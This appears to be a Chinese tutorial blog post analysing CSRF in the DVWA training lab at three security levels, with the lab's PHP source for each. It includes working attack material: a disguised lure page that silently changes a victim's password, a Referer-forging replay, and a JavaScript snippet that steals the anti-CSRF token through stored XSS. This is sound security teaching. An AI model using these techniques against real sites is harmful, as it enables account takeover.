【DVWA系列】三、CSRF 跨站请求伪造(源码分析&漏洞利用)

文章目录

DVWA

CSRF 跨站请求伪造


一、Low 级别

无安全防护措施,是判断两次输入的密码是否相同

随便修改一下,观察到修改密码值提交到了url中(get型):

password_new=1&password_conf=1&Change=Change#

【DVWA系列】三、CSRF 跨站请求伪造(源码分析&漏洞利用)

伪造一个网页,插入URL请求语句,修改密码为666,将它“修饰”一下:

<html>
	<head>
		<title>美女图片</title>
	</head>

	<body>
		<a href="http://192.168.40.147/PHP/DVWA-master/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#">点我看美女图片!!</a>
	</body>
</html>

【DVWA系列】三、CSRF 跨站请求伪造(源码分析&漏洞利用)

当点击该链接以后,密码在不知情的情况下被修改为666,原来密码失效:

【DVWA系列】三、CSRF 跨站请求伪造(源码分析&漏洞利用)
【DVWA系列】三、CSRF 跨站请求伪造(源码分析&漏洞利用)

源代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// 获取输入的密码和第二次确认的密码
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// 判断两次输入的密码是否相同
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

二、Medium 级别

检查请求的来源:加入Referer验证

当我们使用low级别的攻击方式再次攻击时,发现失败:

【DVWA系列】三、CSRF 跨站请求伪造(源码分析&漏洞利用)
源代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// 检查请求的来源:加入Referer验证
	if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
		// Get input
		$pass_new  = $_GET[ 'password_new' ];
		$pass_conf = $_GET[ 'password_conf' ];

		// Do the passwords match?
		if( $pass_new == $pass_conf ) {
			// They do!
			$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
			$pass_new = md5( $pass_new );

			// Update the database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

			// Feedback for the user
			$html .= "<pre>Password Changed.</pre>";
		}
		else {
			// Issue with passwords matching
			$html .= "<pre>Passwords did not match.</pre>";
		}
	}
	else {
		// Didn't come from a trusted source
		$html .= "<pre>That request didn't look correct.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

通过分析源代码,它增加了Referer验证,我们通过抓取low级别攻击代码的包,增加Referer,重新发包,密码成功修改为123:

【DVWA系列】三、CSRF 跨站请求伪造(源码分析&漏洞利用)

三、High 级别

增加token验证

抓包得知增加了user_token字段:

【DVWA系列】三、CSRF 跨站请求伪造(源码分析&漏洞利用)

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。

借助dvwa的XSS (Stored),里面的name存在xss漏洞,我们先注入一个csrf的iframe框架:

【DVWA系列】三、CSRF 跨站请求伪造(源码分析&漏洞利用)

在控制台执行,即可将密码修改为456:

f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=456&password_conf=456&Change=Change&user_token='+t;

【DVWA系列】三、CSRF 跨站请求伪造(源码分析&漏洞利用)

源代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// 检查token:如果不正确则跳转到index.php
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>
上一篇:计算机二级C语言选择题错题知识点记录。


下一篇:斯坦福【概率与统计】课程笔记(六):EDA | 标准差和方差